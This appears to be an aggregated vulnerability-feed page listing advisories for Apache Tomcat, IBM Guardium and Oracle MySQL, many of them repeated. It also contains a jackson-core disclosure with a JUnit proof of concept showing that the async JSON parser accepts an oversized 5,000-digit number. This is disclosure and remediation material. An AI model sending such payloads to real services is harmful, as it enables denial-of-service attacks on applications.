Always-Incorrect Control Flow Implementation vulnerability in Apache Tomcat meant that special roles and empty authorisation constraints were not included when the effective web.xml was logged.
Improper Handling of URL Encoding (Hex Encoding) vulnerability in Apache Tomcat's rewrite valve allowed security constraint bypass for some configurations.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.23, from 10.1.0-M1 through 10.1.56, from 9.0.0.M1 through 9.0.119, from 8.5.0 through 8.5.100. Other versions that have reached end of support may also be affected.
Users are recommended to upgrade to version 11.0.24, 10.1.57 or 9.0.120, which fix the issue.
Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring CRLs for a FFM based connector.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.
Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fixes the issue.
IBM Guardium Data Protection 12.2 could allow an authenticated user to execute arbitrary commands with low user privileges on the system due to improper validation of user supplied input.
Last updated 6 June 2026
Last updated 13 May 2026
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Last updated 6 June 2026
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: GIS). Supported versions that are affected are 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Partition). Supported versions that are affected are 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Last updated 6 June 2026
Last updated 6 June 2026
Last updated 6 June 2026
Last updated 6 June 2026
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Information Schema). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized read access to a subset of MySQL Server accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Information Schema). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized read access to a subset of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.45. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Insufficient Technical Documentation vulnerability in Apache Tomcat since the requirements to securely configure the EncryptInterceptor were not clearly documented.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.23, from 10.1.0-M1 through 10.1.56, from 9.0.13 through 9.0.119, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109. Other versions that have reached end of support may also be affected.
Users are recommended to upgrade to version 11.0.24, 10.1.57 or 9.0.120 which fix the issue.
Summary The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks. - After parsing, they call valueComplete(), which finalizes the token but does not call resetInt() or resetFloat(). - The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed. - Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.
PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
java package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.;
/ POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers Authors: sprabhav7, rohan-repos maxNumberLength default = 1000 characters (digits). A number with more than 1000 digits should be rejected by any parser. BUG: The async parser never calls resetInt()/resetFloat() which is where validateIntegerLength()/validateFPLength() lives. Instead it calls valueComplete() which skips all number length validation. CWE-770: Allocation of Resources Without Limits or Throttling / class AsyncParserNumberLengthBypassTest {
private static final int MAXNUMBERLENGTH = 1000; private static final int TESTNUMBERLENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TESTNUMBERLENGTH); // Output to console System.out.println("[SYNC] Parsing " + TESTNUMBERLENGTH + "-digit number (limit: " + MAXNUMBERLENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUENUMBERINT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TESTNUMBERLENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } }
// VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TESTNUMBERLENGTH);
NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput();
boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUENUMBERINT) { foundNumber = true; String numberText = p.getText(); assertEquals(TESTNUMBERLENGTH, numberText.length(), "Async parser silently accepted all " + TESTNUMBERLENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TESTNUMBERLENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUENUMBERINT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); }
private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF8); } }
Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError. 2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
IBM Guardium Data Protection 12.1, and 12.2 could allow a remote attacker to obtain sensitive information due to use of a hard-coded cryptographic key.